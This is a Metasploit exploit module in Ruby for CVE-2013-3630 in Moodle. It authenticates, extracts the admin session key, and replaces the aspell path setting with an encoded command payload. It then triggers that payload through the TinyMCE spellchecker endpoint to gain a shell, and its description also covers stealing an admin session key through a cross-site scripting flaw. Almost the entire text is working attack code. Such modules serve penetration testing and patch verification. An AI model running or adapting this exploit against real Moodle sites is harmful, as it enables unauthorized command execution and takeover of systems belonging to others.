Moodle Remote Command Execution

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rexml/document'  
  
class Metasploit4 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Moodle Remote Command Execution',  
'Description' => %q{  
Moodle allows an authenticated user to define spellcheck settings via the web interface.  
The user can update the spellcheck mechanism to point to a system-installed aspell binary.  
By updating the path for the spellchecker to an arbitrary command, an attacker can run  
arbitrary commands in the context of the web application upon spellchecking requests.  
  
This module also allows an attacker to leverage another privilege escalation vuln.  
Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey  
and use this to escalate privileges to that of an admin, allowing the module to pop a shell  
as a previously unprivileged authenticated user.  
  
This module was tested against Moodle version 2.5.2 and 2.2.3.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module  
],  
'References' =>  
[  
['CVE', '2013-3630'],  
['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen  
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']  
],  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl ruby bash telnet python',  
}  
},  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD,  
'Targets' => [['Automatic',{}]],  
'DisclosureDate' => 'Oct 30 2013',  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),  
OptString.new('PASSWORD', [ true, "Password to authenticate with", '']),  
OptString.new('SESSKEY', [ false, "The session key of the user to impersonate", ""]),  
OptString.new('TARGETURI', [ true, "The URI of the Moodle installation", '/moodle/'])  
], self.class)  
end  
  
def exploit  
init = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/index.php')  
})  
  
sess = init.get_cookies  
  
post = {  
'username' => datastore["USERNAME"],  
'password' => datastore["PASSWORD"]  
}  
  
print_status("Authenticating as user: " << datastore["USERNAME"])  
  
login = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/login/index.php'),  
'vars_post' => post,  
'cookie' => sess  
})  
  
if !login or login.code != 303  
fail_with("Login failed")  
end  
  
sess = login.get_cookies  
  
print_status("Getting session key to update spellchecker if no session key was specified")  
  
sesskey = ''  
if datastore['SESSKEY'] == ''  
tinymce = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce',  
'cookie' => sess  
})  
  
tinymce.body.each_line do |line|  
next if line !~ /name="sesskey"/  
sesskey = line[0..line.index('>')]  
end  
  
if sesskey == ''  
fail_with("Unable to get proper session key")  
end  
  
sesskey = REXML::Document.new sesskey  
sesskey = sesskey.root.attributes["value"]  
else  
sesskey = datastore['SESSKEY']  
end  
  
post = {  
'section' => 'editorsettingstinymce',  
'sesskey' => sesskey,  
'return' => '',  
's_editor_tinymce_spellengine' => 'PSpellShell',  
's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'  
}  
  
print_status("Updating spellchecker to use the system aspell")  
  
post = {  
'section' => 'systempaths',  
'sesskey' => sesskey,  
'return' => '',  
's__gdversion' => '2',  
's__pathtodu' => '/usr/bin/du',  
's__aspellpath' => payload.encoded,  
's__pathtodot' => ''  
}  
  
aspell = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),  
'vars_post' => post,  
'cookie' => sess  
})  
  
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'  
  
print_status("Triggering payload")  
  
resp = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'),  
'data' => spellcheck,  
'ctype' => 'application/json',  
'cookie' => sess  
})  
  
if !resp or resp.code != 200  
fail_with("Error triggering payload")  
end  
  
end  
end  
`